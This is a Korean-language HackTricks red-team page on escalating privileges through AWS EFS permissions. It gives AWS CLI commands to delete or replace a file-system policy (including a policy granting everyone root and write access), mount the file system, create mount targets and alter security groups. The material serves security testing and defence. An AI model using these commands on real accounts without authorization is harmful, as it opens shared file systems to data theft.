AWS - EFS Privesc

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

EFS

더 많은 EFS에 대한 정보는 다음에서 확인하세요:

AWS - EFS Enum

EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하고 해당 네트워크에 대한 접근 권한(security groups)이 있어야 합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있습니다. 그러나 IAM policies로 보호되어 있다면 접근하려면 여기에 언급된 추가 권한이 필요합니다.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

해당 권한 중 하나만 있어도 공격자는 파일 시스템 정책을 변경하여 자신에게 접근 권한을 부여할 수 있고, 또는 정책을 삭제하여 기본 접근 권한이 허용되도록 만들 수 있습니다.

정책을 삭제하려면:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

변경하려면:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

이 권한이 있으면 공격자는 mount the EFS할 수 있습니다. 만약 write permission이 mount the EFS를 할 수 있는 모든 사용자에게 기본적으로 부여되어 있지 않다면, 그는 read access만 갖게 됩니다.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

추가 권한 elasticfilesystem:ClientRootAccesselasticfilesystem:ClientWrite는 파일시스템이 마운트된 후 내부에 쓰기 하고 해당 파일 시스템에 root로 접근하는 데 사용할 수 있습니다.

잠재적 영향: 파일 시스템에서 민감한 정보를 찾아내어 간접 privesc를 유발할 수 있습니다.

elasticfilesystem:CreateMountTarget

만약 공격자가 서브네트워크 내부에 있고 EFS의 mount target이 없는 경우, 이 권한으로 자신의 서브넷에 하나를 생성할 수 있습니다:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

잠재적 영향: 파일 시스템에서 민감한 정보를 찾아 간접적인 privesc를 획득할 수 있습니다.

elasticfilesystem:ModifyMountTargetSecurityGroups

attacker가 자신의 subnetwork에 EFS의 mount target이 있지만 security group이 트래픽을 허용하지 않는 경우, 그는 선택된 security groups를 수정하여 이를 변경할 수 있습니다:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

잠재적 영향: 파일 시스템에서 민감한 정보를 찾아 간접적으로 privesc가 발생할 수 있음.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기